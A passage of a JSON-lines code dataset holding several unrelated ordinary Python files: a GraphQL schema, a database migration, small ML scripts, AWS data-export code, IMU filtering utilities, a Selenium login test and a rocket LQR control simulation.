\"icontains\"],\n \"description\": [\"exact\", \"istartswith\", \"icontains\"],\n \"category__id\": [\"exact\"],\n \"category__name\": [\"exact\", \"istartswith\", \"icontains\"],\n \"parent__id\": [\"exact\"],\n \"department__id\": [\"exact\"],\n \"department__name\": [\"exact\", \"istartswith\", \"icontains\"],\n \"serial_number\": [\"exact\", \"istartswith\", \"icontains\"],\n \"make\": [\"exact\", \"istartswith\", \"icontains\"],\n \"model\": [\"exact\", \"istartswith\", \"icontains\"],\n }\n interfaces = (graphene.relay.Node,)\n\n\nclass AssetAttachmentNode(DjangoObjectType):\n class Meta:\n model = assets.AssetAttachment\n filter_fields = {\n \"asset__id\": [\"exact\"],\n \"asset__name\": [\"exact\", \"istartswith\", \"icontains\"],\n }\n interfaces = (graphene.relay.Node,)\n\n\nclass Query(graphene.ObjectType):\n all_categories = DjangoFilterConnectionField(CategoryNode)\n all_locations = DjangoFilterConnectionField(LocationNode)\n all_departments = DjangoFilterConnectionField(DepartmentNode)\n all_assets = DjangoFilterConnectionField(AssetNode)\n all_asset_attachments = DjangoFilterConnectionField(AssetAttachmentNode)\n\n category = graphene.Node.Field(CategoryNode)\n location = graphene.Node.Field(LocationNode)\n department = graphene.Node.Field(DepartmentNode)\n asset = graphene.Node.Field(AssetNode)\n asset_group = graphene.Node.Field(AssetGroupNode)\n asset_status = graphene.Node.Field(AssetStatusNode)\n asset_attachment = graphene.Node.Field(AssetAttachmentNode)\n","repo_name":"phrac/maintdx","sub_path":"assets/schema.py","file_name":"schema.py","file_ext":"py","file_size_in_byte":3118,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"}
+{"seq_id":"37159152305","text":"\"\"\"added user phone number\n\nRevision ID: 436f06e6408d\nRevises: dd272afd1e32\nCreate Date: 2023-07-26 11:00:21.945123\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '436f06e6408d'\ndown_revision = 'dd272afd1e32'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n # ### adding phone_number column to users ###\n op.add_column(\n table_name='users', \n column=sa.Column(\n name='phone_number',\n type_=sa.VARCHAR(length=50),\n nullable=True\n )\n )\n # ### end Alembic commands ###\n\n\ndef downgrade() -> None:\n # ### dropping phone_number column from users ###\n op.drop_column('users', 'phone_number')\n # ### end Alembic commands ###\n","repo_name":"Brisinger/Sqlalchemy","sub_path":"src/alembic/versions/436f06e6408d_added_user_phone_number.py","file_name":"436f06e6408d_added_user_phone_number.py","file_ext":"py","file_size_in_byte":767,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"}
+{"seq_id":"70336835271","text":"import random\r\n\r\nprint(\"Welcome to your fortune teller! Feel free to ask any question. Remember, no inappropriate questions!\")\r\nwhile(True):\r\n choice = str(input(\"Do you wish to continue? (Y\\y or N/n): \"))\r\n if(choice.lower() == 'y'):\r\n question = input(\"Ask a question: \")\r\n n = random.randint(0,8)\r\n if(n==0):\r\n print(\"Yes\\n\")\r\n elif(n==1):\r\n print(\"Ask me later\\n\")\r\n elif(n==2):\r\n print(\"Better to go with a 'no'...\\n\")\r\n elif(n==3):\r\n print(\"Certainly for sure!\\n\")\r\n elif(n==4):\r\n print(\"You might not want to know now...\\n\")\r\n elif(n==5):\r\n print(\"Probably not\\n\")\r\n elif(n==6):\r\n print(\"Never\\n\")\r\n elif(n==7):\r\n print(\"There are high chances!\\n\")\r\n elif(n==8):\r\n print(\"You may conclude so.\\n\")\r\n else:\r\n break\r\n\r\n elif(choice.lower() == 'n'):\r\n print(\"Thank you for playing. Come back soon!\\n\")\r\n\r\n else:\r\n print(\"Please enter a valid option!\\n\")\r\n\r\n \r\n \r\n","repo_name":"Akshu-on-github/Basic-Programs-Python","sub_path":"Programs/fortune_teller.py","file_name":"fortune_teller.py","file_ext":"py","file_size_in_byte":1092,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"27"}
+{"seq_id":"7234650808","text":"\"\"\"CIFAR10 small images classification dataset.\n\"\"\"\nimport os\nfrom .cifar import load_batch\nfrom .common import download\nimport numpy as np\n\n\ndef load_data():\n \"\"\"Loads CIFAR10 dataset.\n # Returns\n Tuple of Numpy arrays: `(x_train, y_train), (x_test, y_test)`.\n \"\"\"\n # path = get_file(dirname, origin=origin, untar=True)\n path = download('https://www.cs.toronto.edu/~kriz/cifar-10-python.tar.gz', untar_name='cifar-10-batches-py')\n\n num_train_samples = 50000\n\n x_train = np.empty((num_train_samples, 3, 32, 32), dtype='uint8')\n y_train = np.empty((num_train_samples,), dtype='uint8')\n\n for i in range(1, 6):\n fpath = os.path.join(path, 'data_batch_' + str(i))\n (x_train[(i - 1) * 10000: i * 10000, :, :, :],\n y_train[(i - 1) * 10000: i * 10000]) = load_batch(fpath)\n\n fpath = os.path.join(path, 'test_batch')\n x_test, y_test = load_batch(fpath)\n\n y_train = np.reshape(y_train, (len(y_train), 1))\n y_test = np.reshape(y_test, (len(y_test), 1))\n\n return (x_train, y_train), (x_test, y_test)\n","repo_name":"ipod825/keraflow","sub_path":"keraflow/datasets/cifar10.py","file_name":"cifar10.py","file_ext":"py","file_size_in_byte":1060,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"27"}
+{"seq_id":"27742376805","text":"from django import forms \nfrom .models import *\nfrom taggit.models import Tag \n\nclass dateInput(forms.DateInput):\n input_type = \"date\"\n\n\nclass jobForms(forms.models.ModelForm):\n deadline = forms.DateField(widget=dateInput)\n is_published = forms.BooleanField()\n # tags = forms.ModelMultipleChoiceField(label='Tags', queryset=Tag.objects.order_by('name'),widget=forms.SelectMultiple)\n\n class Meta:\n model = Job\n fields = ['title', 'category', 'description', 'company_name', 'company_description', 'company_email', 'vacancy',\n 'company_image', 'location', 'job_type', 'salary', 'website_url', 'deadline', 'is_published', 'is_closed']\n \n \n def __init__(self, *args, **kwargs):\n super(jobForms, self).__init__(*args, **kwargs)\n self.fields['salary'].widget.attrs['placeholder'] = 'exp:50,000-80,000'\n for field in self.fields:\n self.fields[field].widget.attrs['class'] = 'form-control'\n # self.fields['deadline'].widget.attrs['class'] = 'col-md-6'\n self.fields['is_published'].widget.attrs['class'] = 'form-check-input'\n self.fields['is_closed'].widget.attrs['class'] = 'form-check-input'\n\n\nclass applicationForm(forms.models.ModelForm):\n class Meta:\n model = Application\n fields = ['content','resume']\n \n def __init__(self, *args, **kwargs):\n super(applicationForm, self).__init__(*args, **kwargs)\n for field in self.fields:\n self.fields[field].widget.attrs['class'] = 'form-control'\n \nclass ConversationMessagesForm(forms.models.ModelForm):\n class Meta:\n model = ConversationMessages\n fields = ['content']\n \n def __init__(self, *args, **kwargs):\n super(ConversationMessagesForm, self).__init__(*args, **kwargs)\n for field in self.fields:\n self.fields[field].widget.attrs['class'] = 'form-control'\n \n \n","repo_name":"MdAshiqurRahmanZayed/Job-Portal","sub_path":"main/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":2013,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"27"}
+{"seq_id":"1871159340","text":"class Solution:\n # def dailyTemperatures(self, T):#超时不通过的垃圾\n # res = [0] * len(T)\n # for i in range(len(T)):\n # if T[i]<100:\n # for sub_indx in range(i,len(T)):\n # if T[sub_indx]>T[i]:\n # res[i]=sub_indx-i\n # break\n #\n # return res\n\n # def dailyTemperatures(self, T):\n # length = len(T)\n # ans = [0] * length\n # next = [float('inf')] * 101\n # for i in range(length-1,-1,-1):\n # warmerIndex = float('inf')\n # for t in range(T[i]+1,101):\n # if(next[t]stack[-1][-1]:\n # while stack and T[i]>stack[-1][-1]:\n # pop_element = stack.pop()\n # ans[pop_element[0]] = i - pop_element[0]\n # stack.append([i,T[i]])\n #\n # else:\n # stack.append([i,T[i]])\n #\n # print(ans)\n\n def dailyTemperatures(self, T):\n ans = [0]*len(T)\n stack = []\n for i in range(len(T)):\n while len(stack)!=0 and T[i]>T[stack[-1]]:\n t = stack.pop()\n ans[t] = i - t\n\n stack.append(i)\n\n return ans\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nif __name__ == '__main__':\n temperatures = [73, 74, 75, 71, 69, 72, 76, 73]\n S =Solution()\n res = S.dailyTemperatures(temperatures)\n print(res)\n\n\n","repo_name":"wuchenxi118/lc","sub_path":"num739.py","file_name":"num739.py","file_ext":"py","file_size_in_byte":1891,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"}
+{"seq_id":"22686424882","text":"from cgi import test\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport numpy as np\nimport torchvision\nfrom torchvision import datasets, models, transforms\nimport matplotlib.pyplot as plt\nimport time\n# You might not have tqdm, which gives you nice progress bars\nfrom tqdm.notebook import tqdm\nimport os\nimport copy\nimport json\n\n\n# Detect if we have a GPU available\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\nif torch.cuda.is_available():\n print(\"Using the GPU!\")\nelse:\n print(\"WARNING: Could not find GPU! Using CPU only\")\n\n\ninput_size = 224\nbatch_size = 8\nshuffle_datasets = True\ndata_dir = \"static/\"\nis_labelled = False \ngenerate_labels = True\nk = 3\n\ndef get_dataloaders():\n # transform the image when loading them.\n # can change transforms on the training set.\n \n # For now, we resize/crop the image to the correct input size for our network,\n # then convert it to a [C,H,W] tensor, then normalize it to values with a given mean/stdev. These normalization constants\n # are derived from aggregating lots of data and happen to produce better results.\n data_transforms = {\n 'test': transforms.Compose([\n transforms.Resize(input_size),\n transforms.CenterCrop(input_size),\n transforms.ToTensor(),\n transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225])\n ]),\n 'val': transforms.Compose([\n transforms.Resize(input_size),\n transforms.CenterCrop(input_size),\n transforms.ToTensor(),\n transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225])\n ]),\n } \n # Create training and validation datasets\n image_datasets = {x: datasets.ImageFolder(os.path.join(data_dir, x), data_transforms[x]) for x in data_transforms.keys()}\n # Create training and validation dataloaders\n # Never shuffle the test set\n dataloaders_dict = {x: torch.utils.data.DataLoader(image_datasets[x], batch_size=batch_size, shuffle=False if x != 'train' else True, num_workers=4) for x in data_transforms.keys()}\n return dataloaders_dict \n\ndataloaders = get_dataloaders() \n\ndef label_number_to_name(lbl_ix):\n return dataloaders['val'].dataset.classes[lbl_ix]\n\n\ndef dataset_labels_to_names(dataset_labels, dataset_name):\n # dataset_name is one of 'train','test','val'\n dataset_root = os.path.join(data_dir, dataset_name)\n found_files = []\n for parentdir, subdirs, subfns in os.walk(dataset_root):\n parentdir_nice = os.path.relpath(parentdir, dataset_root)\n found_files.extend([os.path.join(parentdir_nice, fn) for fn in subfns if fn.endswith('.jpg') or fn.endswith('.jpeg')])\n # Sort alphabetically, this is the order that our dataset will be in\n found_files.sort()\n # Now we have two parallel arrays, one with names, and the other with predictions\n assert len(found_files) == len(dataset_labels), \"Found more files than we have labels\"\n preds = {os.path.basename(found_files[i]):list(map(label_number_to_name, dataset_labels[i])) for i in range(len(found_files))}\n return preds\n\ndef get_prediction():\n model = models.resnet18(pretrained=False) # UPDATE WITH BEST MODEL\n num_ftrs = model.fc.in_features\n model.fc = nn.Linear(num_ftrs, 25) # num_classes = 25\n model.load_state_dict(torch.load(\"Resnet_Non_Augmented_Weights_Best.pt\", map_location=torch.device('cpu')))\n\n predicted_labels = []\n\n model.eval()\n\n # print(dataloaders[\"test\"])\n\n for inputs, labels in dataloaders[\"test\"]:\n inputs = inputs.to(device)\n labels = labels.to(device)\n\n # with torch.set_grad_enabled(False):\n # outputs = model(inputs)\n # _, preds = torch.topk(outputs, k=3, dim=1)\n # nparr = preds.cpu().detach().numpy()\n # predicted_labels.extend([list(nparr[i]) for i in range(len(nparr))])\n\n # test_labels_js = dataset_labels_to_names(predicted_labels, \"test\")\n\n # output_test_labels = \"test_set_predictions\"\n # output_salt_number = 0\n\n # output_label_dir = \".\"\n\n # while os.path.exists(os.path.join(output_label_dir, '%s%d.json' % (output_test_labels, output_salt_number))):\n # output_salt_number += 1\n # # Find a filename that doesn't exist\n \n\n # with open(os.path.join(output_label_dir, '%s%d.json' % (output_test_labels, output_salt_number)), \"w\") as f:\n # json.dump(test_labels_js, f, sort_keys=True, indent=4)\n\n# print(\"Wrote predictions to:\\n%s\" % os.path.abspath(os.path.join(output_label_dir, '%s%d.json' % (output_test_labels, output_salt_number))))\nget_prediction()","repo_name":"ivanasamy/where-am-i-mit","sub_path":"classify_mit.py","file_name":"classify_mit.py","file_ext":"py","file_size_in_byte":4616,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"}
+{"seq_id":"1458755256","text":"import torch\r\nimport numpy as np \r\nimport d2lzh_pytorch as d2l\r\nimport fashion_mnist\r\n\r\nbatch_size = 256\r\ntrain_iter, test_iter = fashion_mnist.load_data_fashion_mnist(batch_size)\r\n\r\nnum_inputs, num_outputs, num_hiddens = 784, 10, 256\r\n\r\nw1 = torch.tensor(np.random.normal(0, 0.01, (num_inputs, num_hiddens)), dtype=torch.float32)\r\nb1 = torch.zeros(num_hiddens, dtype=torch.float32)\r\n\r\nw2 = torch.tensor(np.random.normal(0, 0.01, (num_hiddens, num_outputs)), dtype=torch.float32)\r\nb2 = torch.zeros(num_outputs, dtype=torch.float32)\r\n\r\nparams = [w1, b1, w2, b2]\r\n\r\nfor param in params:\r\n param.requires_grad_(requires_grad = True)\r\n\r\ndef relu(x):\r\n return torch.max(input=x, other=torch.tensor(0.0))\r\n\r\ndef net(x):\r\n x = x.view(-1, num_inputs)\r\n h = relu(torch.matmul(x, w1) + b1)\r\n return torch.matmul(h, w2) + b2\r\n\r\nloss = torch.nn.CrossEntropyLoss()\r\n\r\n# 注：由于原书的mxnet中的SoftmaxCrossEntropyLoss在反向传播的时候相对于沿batch维求和了，\r\n# 而PyTorch默认的是求平均，所以用PyTorch计算得到的loss比mxnet小很多（大概是maxnet计算得到的1/batch_size这个量级），\r\n# 所以反向传播得到的梯度也小很多，所以为了得到差不多的学习效果，我们把学习率调得成原书的约batch_size倍，\r\n# 原书的学习率为0.5，这里设置成100.0。(之所以这么大，应该是因为d2lzh_pytorch里面的sgd函数在更新的时候除以了batch_size，\r\n# 其实PyTorch在计算loss的时候已经除过一次了，sgd这里应该不用除了)\r\nnum_epochs, lr = 5, 100.0\r\nd2l.train_ch3(net, train_iter, test_iter, loss, num_epochs, batch_size, params, lr)","repo_name":"briantccj/pytorch","sub_path":"Dive-into-DL-PyTorch/5_mlp-scratch.py","file_name":"5_mlp-scratch.py","file_ext":"py","file_size_in_byte":1653,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"}
+{"seq_id":"11124202321","text":"import json\nimport traceback\nimport pandas as pd\nimport numpy as np\nimport boto3\nimport awswrangler as wr\nfrom collections.abc import Mapping, Iterable\nfrom decimal import Decimal\nfrom io import StringIO\nfrom pprint import pprint\n\nclient = boto3.client('glue')\nBucket_role = 'arn:aws:iam::239126490696:role/dev-data-lake-cms-conform-eu-west-1-239126490696-writer'\n\ndef write_dataframe_to_csv_on_s3(dataframe, filename):\n \"\"\" Write a dataframe to a CSV on S3 \"\"\"\n print(\"Writing {} records to {}\".format(len(dataframe), filename))\n # Create buffer\n csv_buffer = StringIO()\n # Write dataframe to buffer\n dataframe.to_csv(csv_buffer, sep=\",\", index=False)\n # Create S3 object\n boto3_session = get_session_for(Bucket_role)\n client = boto3_session.client('s3')\n #s3_resource = boto3_session.resource(\"s3\")\n # Write buffer to S3 object\n #s3_resource.Object(\"dev-data-lake-cms-conform-eu-west-1-239126490696\", filename).put(Body=csv_buffer.getvalue())\n client.put_object(Bucket='dev-data-lake-cms-conform-eu-west-1-239126490696', Key=filename,ACL=\"bucket-owner-full-control\")\n \ndef to_parquet(df, bucket, prefix, database, table):\n boto3_session = get_session_for(Bucket_role)\n databases = wr.catalog.databases(boto3_session=boto3_session)\n if database not in databases.values:\n wr.catalog.create_database(database)\n wr.s3.to_parquet(\n df=df,\n path=f\"s3://{bucket}/{prefix}/\",\n dataset=True,\n database=database,\n table=table,\n mode=\"append\",\n use_threads=True,\n boto3_session=boto3_session,\n s3_additional_kwargs={\"ACL\": \"bucket-owner-full-control\"},\n catalog_versioning=True,\n schema_evolution=True\n )\n \ndef dynamodb_to_pandas_dataframe(table_name):\n dynamodb = boto3.resource('dynamodb')\n table = dynamodb.Table(table_name)\n \n response = table.scan()\n \n print(response['Items'])\n \n df = pd.json_normalize(\n response['Items'],\n record_path = ['data'],\n meta = ['studycode','viewID#vendorshortname'])\n \n all_columns = list(df)\n df[all_columns] = df[all_columns].astype('string')\n \n lis = []\n \n for x in df.columns:\n lis.append(x)\n \n if 'SUBJECT' in lis:\n df.rename(columns = {'SUBJECT':'Subject_SAS'}, inplace = True)\n if 'Visit' in lis:\n df.rename(columns = {'Visit':'Visit_ecoA'}, inplace = True)\n \n \n print(df)\n print(df.columns)\n \n df.to_csv(r'D:\\data\\cms\\columns_output.csv')\n \n return df\n \ndef get_session_for(role):\n acct_b = boto3.client('sts').assume_role(RoleArn=role, RoleSessionName=\"cross_acct_lambda\")\n print(acct_b)\n session = boto3.Session(\n aws_access_key_id=acct_b['Credentials']['AccessKeyId'],\n aws_secret_access_key=acct_b['Credentials']['SecretAccessKey'],\n aws_session_token=acct_b['Credentials']['SessionToken'],\n )\n return session\n \nif __name__ == \"__main__\":\n #Step1 Loading DynamoDB data into S3:\n table_name = \"dev-ofr-datahub-cms-clinical-study-consolidation\"\n bucket = \"dev-data-lake-cms-conform-eu-west-1-239126490696\"\n prefix = \"dynamodb_data/studyconsolidationnorm\"\n database = \"dev_data_lake_cms_conform_glue_database\"\n table = \"study_consolidation_normalized\"\n \n df = dynamodb_to_pandas_dataframe(table_name)\n #write_dataframe_to_csv_on_s3(df,prefix)\n to_parquet(df,bucket,prefix,database,table)","repo_name":"Santhosh-5521/Configurable-ETL-Python-repo","sub_path":"Athena_DynamoDB_Normalized.py","file_name":"Athena_DynamoDB_Normalized.py","file_ext":"py","file_size_in_byte":3474,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"}
+{"seq_id":"3329585698","text":"import numpy as np\nimport pandas as pd\nfrom scipy.spatial.transform import Rotation as R\nfrom scipy.signal import butter, lfilter, iirpeak, iirfilter\nfrom statsmodels.stats.outliers_influence import variance_inflation_factor\nfrom globalVariables import sampleRate, samplePeriod, subSample\nfrom scipy.stats import kurtosis\n\nfrom CSV import getCsvData\n\n\ndef norm(vectorArray):\n normArray = []\n for row in vectorArray:\n normVal = np.linalg.norm(row)\n normArray.append(normVal)\n return np.array(normArray)\n\n\ndef butterFilter(data, cutoff, fs, type='low', order=2):\n b, a = butter(order, cutoff, fs=fs, btype=type, analog=False)\n y = lfilter(b, a, data)\n return y\n\n\ndef butterIIR(data, cutoff, fs, order=1):\n Wn = cutoff / fs\n b, a = iirfilter(order, Wn, btype='highpass', ftype='butter')\n y = lfilter(b, a, data)\n return y\n\n\ndef peakFilter(data, cutoff, Q, fs):\n b, a = iirpeak(cutoff, Q, fs)\n y = lfilter(b, a, data)\n return y\n\n\ndef VIF(data):\n # the calculation of variance inflation requires a constant\n #data['intercept'] = 0\n\n # create dataframe to store vif values\n vif = pd.DataFrame()\n vif[\"Variable\"] = data.columns\n vif[\"VIF\"] = [variance_inflation_factor(\n data.values, i) for i in range(data.shape[1])]\n return vif[vif['Variable'] != 'intercept']\n\n\ndef quat2cosHeight(quat):\n # Calculate waist vector relative to earth\n if quat.ndim == 2:\n quat = np.c_[quat[:,1], quat[:,2], quat[:,3], quat[:,0]]\n rot = R.from_quat(quat)\n cosHeightX = rot.apply([1, 0, 0])[:, 2]\n cosHeightY = rot.apply([0, 1, 0])[:, 2]\n cosHeightZ = rot.apply([0, 0, 1])[:, 2]\n elif quat.ndim == 1:\n quat = [quat[1], quat[2], quat[3], quat[0]]\n rot = R.from_quat(quat)\n cosHeightX = rot.apply([1, 0, 0])[2]\n cosHeightY = rot.apply([0, 1, 0])[2]\n cosHeightZ = rot.apply([0, 0, 1])[2]\n return np.array([cosHeightX, cosHeightY, cosHeightZ])\n\n\n\ndef poseFeature(data):\n if data.ndim == 2:\n feature = np.c_[\n quat2cosHeight(data[:, 6:10]).T,\n quat2cosHeight(data[:, 16:20]).T,\n quat2cosHeight(data[:, 26:30]).T\n ]\n else:\n feature = np.r_[\n quat2cosHeight(data[6:10]).T,\n quat2cosHeight(data[16:20]).T,\n quat2cosHeight(data[26:30]).T\n ]\n return feature\n\n\ndef generateDataFrame(filePaths, getFeature, headers=False):\n allData = np.array([])\n label = 0\n for filePath in filePaths:\n data = getCsvData(filePath)\n #label = filePath.split('/')[-1].split('.')[0]\n label = label + 1\n feature = getFeature(data)\n labels = [label] * len(data)\n data = np.c_[labels, feature]\n if allData.ndim == 1: allData = data\n else: allData = np.r_[ allData, data ]\n\n if headers == False: return pd.DataFrame(allData)\n else: return pd.DataFrame(allData, columns=headers)\n\n\ndef mirrorData(data):\n # Mirror about y axis\n #'''\n data[:, 1] = -data[:, 1]\n data[:, 4] = -data[:, 4]\n data[:, 7] = -data[:, 7]\n data[:, 9] = -data[:, 9]\n data[:, 11] = -data[:, 11]\n data[:, 14] = -data[:, 14]\n data[:, 17] = -data[:, 17]\n data[:, 19] = -data[:, 19]\n data[:, 21] = -data[:, 21]\n data[:, 24] = -data[:, 24]\n data[:, 27] = -data[:, 27]\n data[:, 29] = -data[:, 29]\n \n # Swap left and right leg\n #temp = data[:, 10:20]\n #data[:,10:20] = data[:,20:30]\n #data[:,20:30] = temp\n #'''\n return data\n\n\ndef motionFeature(data, subSample=1):\n dataHigh = butterIIR(data.T, 1, sampleRate/subSample, 2).T\n waistAccNorm = norm(dataHigh[:, 3:6])\n rightAccNorm = norm(dataHigh[:, 13:16])\n leftAccNorm = norm(dataHigh[:, 23:26])\n aveAccNorm = np.array([np.average(waistAccNorm), np.average(rightAccNorm), np.average(leftAccNorm)])\n aveAccEnergy = np.array([np.average(waistAccNorm**2), np.average(rightAccNorm**2), np.average(leftAccNorm**2)])\n\n orientationFeature = poseFeature(data)\n aveOrientationFeature = np.average(orientationFeature, axis=0)\n\n waistGyro = data[0:3, :]\n rightGyro = data[10:13, :]\n leftGyro = data[20:23, :]\n gyro = np.r_[ waistGyro, rightGyro, leftGyro]\n\n gyroNorm = np.r_[norm(waistGyro), norm(rightGyro), norm(leftGyro)]\n #waistAcc = data[:, [3, 4, 5]]\n #rightAcc = data[:, [13, 14, 15]]\n #leftAcc = data[:, [23, 24, 25]]\n\n #dataLength = len(data)\n feature = np.r_[\n orientationFeature[0,:],\n orientationFeature[-1,:],\n aveOrientationFeature,\n #np.max(orientationFeature, axis=0),\n np.min(orientationFeature, axis=0),\n aveAccNorm,\n np.average(gyro, axis=0),\n np.sum(aveAccEnergy),\n np.average(gyroNorm, axis=0),\n #kurtosis(waistAccNorm),\n #kurtosis(rightAccNorm),\n #kurtosis(leftAccNorm),\n ]\n return feature","repo_name":"MengLinMaker/Hip-Motion-Player","sub_path":"python/utility.py","file_name":"utility.py","file_ext":"py","file_size_in_byte":4564,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"}
+{"seq_id":"41466060094","text":"#coding=utf8\n'''\nCreated on Dec 26, 2016\n\n@author: Administrator\n'''\nimport unittest\n\nfrom selenium import webdriver\nfrom time import sleep\n\n\nclass Test(unittest.TestCase):\n '''test2 class'''\n\n def setUp(self):\n self.x = webdriver.Firefox()\n self.x.implicitly_wait(20)\n self.x.get(\"http://web.sns.movnow.com/ht/login.php\")\n\n def tearDown(self):\n \n self.x.quit() \n \n def testName(self):\n '''test2 testname'''\n self.x.find_element_by_name(\"username\").send_keys(\"admin\")\n self.x.find_element_by_name(\"password\").send_keys(\"1234\")\n sleep(1)\n self.x.find_element_by_id(\"btn-login\").click()\n sleep(1)\n try:\n b = self.x.switch_to.alert\n print(b.text)\n print(\"login for test is err err\")\n except:\n print(\"login for test get exception\")\n \n self.x.save_screenshot(\"test2.png\")\n self.x.get_screenshot_as_file('F:/workspace/python.hello/test.png')\n sleep(2)\n b.accept()\n sleep(2)\n \nif __name__ == \"__main__\":\n #import sys;sys.argv = ['', 'Test.testName']\n unittest.main()","repo_name":"shangdan1987/workspace","sub_path":"flask_try/test_case/test2.py","file_name":"test2.py","file_ext":"py","file_size_in_byte":1168,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"}
+{"seq_id":"3240207839","text":"from numpy import *;\nfrom matplotlib import pyplot as plt;\nfrom matplotlib import animation;\nimport matplotlib;\nimport control;\n#matplotlib.use('Agg');\nimport slycot;\n\n# Set up formatting for the movie files\n#Writer = animation.writers['ffmpeg']\n#writer = Writer(fps=30, metadata=dict(artist='Me'), bitrate=1800)\n\n# ===== INFORMATION =====\n# 2D only for now (3DOF)\n\n\n# ===== MODEL SETUP =====\n\n# Physical Parameters\nm = 10; # kg, vehicle mass\ns = .30; # m, vehicle side length (cubic)\nvol = s**3; # m^3, total vehicle volume\ng = 9.81; # m/s^2, gravitational acceleration\nF_max = 2 * m * g; # max accel is +/- 1g\nd = s / 2; # distance from thrust origin to COM\nI = 1 / 6* m * s**2; # kg-m^2, in-plane rotational inertia\n\n\n# ===== LINEARIZED STATE-SPACE FORMULATION =====\n\n# linearized approximation (upright hovering equilibrium)\n# we have an augmented state var, with g. This is an uncontrollable\n# variable, so we exclude it from the controller design\n\nA = array([[0, 0, 0, 1, 0, 0, 0],\n [0, 0, 0, 0, 1, 0, 0],\n [0, 0, 0, 0, 0, 1, 0],\n [0, 0, -g, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0]]);\n\nB = array([[0, 0],\n [0, 0],\n [0, 0],\n [0, -g],\n [1, 0],\n [0, -m*g*d/I],\n [0, 0]]);\n\nC = eye(7);\nD = zeros((7, 2));\n\ncontrollability_rank = linalg.matrix_rank(control.ctrb(A, B)); # should be 6!\nprint(controllability_rank)\n\n# ===== CONTROLLER DESIGN =====\n\n# now let's wrap a simple controller around this to move from one point to another.\n\nQ = array([[1, 0, 0, 0, 0, 0],\n [0, 1, 0, 0, 0, 0],\n [0, 0, 10000, 0, 0, 0],\n [0, 0, 0, 1, 0, 0],\n [0, 0, 0, 0, 1, 0],\n [0, 0, 0, 0, 0, 1]]);\n\nR = array([[100, 0],\n [0, 1000000]]);\n\n\nK, S, E = control.lqr(A[0:6, 0:6], B[0:6, :], Q, R);\n\n# u = -K*(x_current - x_desired)\n\n# now K is our gain matrix\n# we have to append a 0 onto the end to account for our additional DC augmented var (gravity)\n\ntoAdd = array([[0], [0]]);\n\n\nK = hstack((K, toAdd));\n\n\ntest = 1;\n\n\n# ===== SIMULATION CONFIGURATION =====\n# point to point movement\n\nsim_time = 20; # seconds\ndt = .010; # seconds\nf = 1/dt; # Hz\nsim_length = int(sim_time/dt);\ntime_vector = linspace(0, sim_time, int(sim_time/dt));\n\n# Vehicle state denoted by x, y, theta, xdot, ydot, thetadot (m, rad)\n# Vehicle control denoted by throttle (0-1), TVC angle, rad (assume instantaneous TVC tracking)\n\nstate_array = zeros((sim_length, 7));\ncontrol_array = zeros((sim_length, 2));\ntraj_array = zeros((sim_length, 7));\n\nstate_array[0, :] = array([0, 0, 0, 0, 0, 0, 0]);\ncontrol_array[0, :] = array([1, 0]);\n\n\n\n# triangle-wave control thrust value\ncontrol_array[0:int(sim_length/4), 0] = F_max-m*g;\ncontrol_array[int(sim_length/4):2*int(sim_length/4), 0] = 0 - m*g;\ncontrol_array[2*int(sim_length/4):sim_length, 0] = m*g - m*g;\n\n# TVC angle actuation\n#control_array[:, 1] = deg2rad(random.randn()*.05); # rad\ncontrol_array[:, 1] = 0;\n\n\nx1 = 0;\ny1 = 0;\nx2 = 100;\ny2 = 100;\n\nz_initial = array([[x1],\n [y1],\n [0],\n [0],\n [0],\n [0],\n [g]]);\n\nz_final = array([[x2],\n [y2],\n [0],\n [0],\n [0],\n [0],\n [g]]);\n\n\nstate_array[0, :] = z_initial.T;\n\ntest = 1;\n\n# ===== SIMULATION! =====\n# linear and non-linear state evolution (simulation)\n\nfor i in range(1, sim_length):\n\n # hard-coded control efforts\n Ft = control_array[i-1, 0];\n phi = control_array[i-1, 1];\n\n state_prev = array(state_array[i-1, :]);\n state_prev = state_prev[newaxis, :];\n #theta = state_array[i-1, 2];\n\n # LQR control efforts\n if i < sim_length/2:\n traj_ref = 2*i/sim_length*(z_final - z_initial) + z_initial;\n else:\n traj_ref = z_final;\n\n\n u = -K @ (state_prev - z_final.T).T; # LQR finds 'optimal path' for point-to-point\n #u = -K @ (state_prev.T - traj_ref); # we impose the trajectory here, could be from a non-lin optimizer for ex.\n\n\n\n # Non-linear simulation\n # dz = array([ state_array[i-1, 3],\n # state_array[i-1, 4],\n # state_array[i-1, 5],\n # (-Ft*sin(theta + phi))/m,\n # (Ft*cos(theta + phi) - m*g)/m,\n # -Ft*sin(phi)*d/I\n # ]);\n #\n # deltaz = dz*dt;\n\n state_prev_t = state_prev.T;\n # Linear simulation, only valid about upright hovering equilbria (arbitrary (x,y) allowed).\n #dz = A @ state_array[i-1, :] + B @ control_array[i-1, :]; # manual control effort\n dz = A @ (state_prev_t) + B @ u; # LQR control effort\n deltaz = dz*dt;\n\n\n\n state_array[i, :] = state_prev + deltaz.T;\n traj_array[i, :] = traj_ref.T;\n control_array[i, :] = u.T;\n\n # for now the control array is 